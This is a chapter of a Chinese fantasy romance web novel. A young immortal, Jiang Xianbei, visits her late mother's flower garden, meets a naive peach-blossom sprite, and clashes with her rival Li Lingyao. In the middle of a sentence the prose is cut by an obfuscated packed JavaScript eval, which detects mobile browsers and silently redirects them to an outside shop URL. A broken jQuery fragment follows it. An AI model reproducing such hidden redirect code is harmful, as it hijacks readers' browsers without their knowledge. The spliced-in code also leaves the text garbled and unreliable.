翌日,江仙贝一醒来,床边守着的江离甫就忧心忡忡并指施法。
他一遍又一遍探她的经脉,江仙贝乖乖不动,实在看不下去了才去拉江离甫的衣袖,把他的手从眉心扒拉下去。
她笑音清甜:“阿爹我真的没事了!”
江离甫摸摸她的发顶,怜爱不已。
“能和爹说说发生了什么吗?”江离甫修行百年,心知那道伤出自玄杀阵。
再者江仙贝还受了身体兼并神魂的冲击。
江离甫铁了心要弄清楚,好让江仙贝能自此平安无事。
“啊,也没什么,就是逞了个英雄,不小心把自己伤了。”江仙贝说得轻描淡写,丝毫不提其中凶险。
江离甫太了解女儿,她不愿说出来是不想他担心。
身为人父,恰恰因为江仙贝的懂事,轻松明白了伤痕累累的背后藏有多大的危机。
江离甫眉头紧锁。
他若想弄清楚此事,手段极多,不过他尊重江仙贝,不会再问。
这时候,一根白皙的手指悄然按上江离甫眉峰,一点点抚平。
“阿爹为何要皱眉,我不是好好在这里吗?”
闻言,江离甫心尖宠溺,忍不住化开满面笑意。
江仙贝一连休养的数日里,江离甫还是照例每日来看望,她自然开心,父女俩总是能说好久的话。
突然说到东方澜,江仙贝这才惊觉再过两日便是娘亲仙逝的日子,于是她打算亲自去花圃里摘些鲜花送给母神。
花圃由江仙贝取了个名字,叫山青欲燃峰。
它顶上那块牌匾还是儿时的江仙贝题的。
才到地,一阵花浪跌送芬芳,花瓣打着旋飘过江仙贝发梢。
当初还是荒山的地方经过开垦,绣上了花朵,美得如同踏入了仙境一般。
江仙贝挽着花篮,心旷神怡地走入,故地重游,她稍微有些伤怀。
目光缱绻地看过每一处,那里还留着东方澜活动过的痕迹。
一个紫藤萝爬满的秋千。
她想起了东方澜抱着她荡起的样子,娘亲圈住她,一口一个贝贝的笑着唤她。
江仙贝放下花篮,手指拂过竹子编成的秋千椅,她小心坐下,内心十分怀恋,也就试着晃动了下。
秋千小幅度摇着,江仙贝悠然轻笑。
还没荡几下,背后忽然窜出个声音,娇滴滴怒喝:“不许再玩了!”
江仙贝吃惊地回头,不远处飞着一只头顶开了朵桃花的小妖。
发丝卷曲,还编了几片桃花进去。
这小妖她不认识,估计是吸了望仙峰的灵气,桃树生了妖道,才孕育出她这么一只小妖。
明明一点威慑力都没有,桃花妖还恶狠狠飞上前推开江仙贝,试图把她推离秋千。
江仙贝望着巴掌大的小妖有点想笑。
她来了兴趣逗逗桃花妖,“为何我不能?”
“不行就是不行!”
芝芝怒吼一声,又不知所措地抬头,懵懂地看着江仙贝,愣愣道:“诶,声音不一样诶,你不是他?”
实话实说她道行浅,五感还没长全,尤其是这眼睛。
江仙贝挑眉,还有人来过?
她启唇试探:
“你看不出来吗,莫非此前有个女子惹你不高兴?”
芝芝飞到前面,从上到下打量了遍。
“你果然不是他,你是位姑娘!”
“来的是男子?”
应当不会是阿爹。
江仙贝眯起眼睛,她的地盘来了个不速之客。
不管是谁,她都不愿意分享这个对她来说很重要的地方。
“是个可恶的臭屁少年,霸占了秋千,还爬到我的桃树上偷走我结的果子!”
“可恶可恶!”桃花妖两手捏拳,脚尖翘起,十分生气。
“哦?”江仙贝心有所感。可又总觉得臭屁二字和李灵曜不搭。
“先不说这个,你又是谁?”芝芝头脑清醒,她许久没见到活人,那少年算一个,江仙贝是第二个来此的。
桃花妖生于前年,那时江仙贝正痴迷于李灵曜,没怎么来打理山青欲燃峰。
眼帘陡然一垂,江仙贝坏笑着反问:“问别人前要先报上自己名。”
“是吗?那好吧,我是桃花妖,我给自己取名芝芝。”
“到你了!”
江仙贝唤了声,“吱吱?”
“我是这片山的主人。”
桃花妖有点没转过来,因为她很少和人对话,听不懂人话。
“你叫主人吗?还是这片山……好奇怪的名字,你是不会取名吗?”
江仙贝沉默了好一阵,像看傻子一样看这只叫吱吱的桃花妖。
她莫名其妙的想,能把拟声词用作自己名字的妖怪,应该不太聪明。
谁知芝芝还会读心术,她跳起来,“你为什么要这样看我呀!”语气着急。
“看你傻。”江仙贝实话实说。
“什么!”她气急败坏。
桃花妖绕着江仙贝飞来飞去。
“你你你,你才傻呢!名字那么土!还说我傻?”
还未等江仙贝说话,一道清脆悦耳的笑声撞入空气中。
江仙贝如临大敌地转头搜寻声源,在芝芝的尖叫下,她顺势看到了曲起一条腿,慵懒地卧躺在桃树枝干上的李灵曜。
他笑得灿烂,连花枝都在乱颤,眉眼弯弯,俊美无双,倒是比没长开的芝芝还像桃花妖。
“又是你,还敢偷吃我的桃!”
李灵曜手里还握着半颗桃子。
人赃并获。
江仙贝无声皱眉看着他,“你为何会在此?”
偏生是仇人进了她与娘亲的圣地。
江仙贝不由得发火,手里出现鸾骨刀,锋利地折射着日光。李灵曜有种错觉,下一秒它就会毫不犹豫抹了自己的脖子。
他发誓绝不是害怕,而是学会了收敛。
少年猫着腰纵身跳下桃树,没吃完的桃子随手一抛丢在身后。
这下把芝芝彻底激怒了,她咆哮着向李灵曜砸桃花瓣,“你这贼人,还敢浪费我的桃子,你知道我为结桃有多费力吗?”
“可恶!”
李灵曜充耳不闻,手轻轻一抬,把桃花尽数挥开了。
可怜的桃花妖拿他没有办法。
这少年每次来能躺着睡一下午,还能吃她半匡桃,吃完后可耻地把她忽视了,拍拍屁股就走。
见江仙贝没有杀意,李灵曜松了一口气,他确实没想过在这里也能遇上江仙贝。
江仙贝不发话,李灵曜那股骄纵的赖劲就上来了,他自以为是道:“你的桃子好吃也能怪到我头上?”
桃花妖震惊了,她从来没听过这种说法。
才出生到世界上的她不明白,李灵曜这叫脸皮厚。
她还自觉气势不足,“那你为何还要吃一半扔一半,刚刚那个就是!”芝芝怕说不过,还找了个证据来辅佐自己的话。
李灵曜挑眉,他弯唇,清澈地眨眼。
“它突然不好吃了,我扔了有什么错吗?”
桃花妖石化在空中,险些掉地上,气得半晌说不出话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964385|214435||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来。
还好她知道遇到对手要搬救兵,立马跑到了江仙贝身侧,气焰嚣张。
“主人,你说他是不是很可恶!”芝芝试图拉拢江仙贝。
对面桃树下的李灵曜差点笑得站不住脚,手都扶到树干上了。
“主人哈哈哈哈哈哈,江姑娘说得没错,你好傻哇。”
忽然间李灵曜想到什么,他清清嗓,正色道:“袅袅水芝红,你这桃花妖名字取的不错,脑子怎么笨成这样?”
逐字拆解清晰,江仙贝脸色变得阴郁,她哪里不明白李灵曜意在一石二鸟,说她和这桃花妖一样蠢。
桃花妖是芝芝,不是吱吱。
那从侧面说明,李灵曜一直在桃树上偷听她们说话。
怒火漫延,江仙贝憎恶地注视着李灵曜,湛蓝的眸子瞬间冰封,目光比刀刃还锐利。
李灵曜是不是比上辈子还可恨了?
少年则偷瞟着江仙贝。
他的确存了心思逗弄江仙贝,但那也是怕她一直误认小妖的名字,有天遭人耻笑了去。
如此想着,就见弯刀回旋,打桩似的扎进李灵曜脸侧的桃树。
李灵曜的一绺墨发被风吹落在地。
没见血,看来江仙贝手下留情了。
李灵曜斜看一眼乍寒的刃锋,快速挪回视线。
他无所畏惧地施法恢复发丝。
“江姑娘,上次是左边,这次是右边,怎么老削我头发?”
李灵曜是诚心发问的。
江仙贝压根不理他,不客气地召回鸾骨刀。
薄刃的亮光在脑袋旁一闪而过,比刚才更多的乌发落地。
江仙贝用实际行动告诉李灵曜,她现在怒火正盛。
这刀没砍在李灵曜后脑勺上已是格外开恩了。
李灵曜默不作声,而江仙贝抬腕轻轻接住邀功的鸾骨刀,她温柔地曲指抚摸樱粉的刀刃。
“你如何进来,趁我心绪尚可,就如何出去。”
少女非常冷漠,看也不看他。
李灵曜反而大起胆踱步走近她,像一线骄阳,渐渐照进江仙贝漆黑的眼底。
时空拉慢,桃花妖被这恐怖的氛围吓到,连忙躲在桃树上偷偷观察。
“你做什么?”语气恶劣。
江仙贝已然提防李灵曜,与他划开了以刀剑为界的鸿沟。
靠得极近那刻江仙贝忽而握刀抵着他前进。
“站住。”冷声道。
她伤不了李灵曜,还被他步步突破防线。
这个认知不由得让江仙贝寒意爬满五脏,她稳住心神,桃花眼难得把他看进眼里了。
李灵曜见到她眼眸中的自己,看她凶神恶煞,是以为他要拿她怎么样吗?
不经想笑,总觉得江仙贝心狠手辣,竟然也会怕他靠近吗。
有些好玩。
李灵曜其实只是想向她道明,他无意进入此地,多有得罪。
因为他看得出来江仙贝今日很庄重,尤其是坐在秋千上的时候,他明显看见了少女眷恋的神情。
这个地方对她来说意义非凡。
李灵曜看着她这么警惕,顿时说不出原本想好的措辞。
语气透着玩笑,轻松愉悦。
“赔我。”
他没有恶意,也没想过要害江仙贝,这么说也是希望他们之间不要总是剑拔弩张。
李灵曜不清楚到底为何江仙贝对他恨意滔天。
垂眸恰巧又看见了姑娘愣神的表情。
清纯无瑕。
由此,李灵曜决定一定要弄清楚她的事。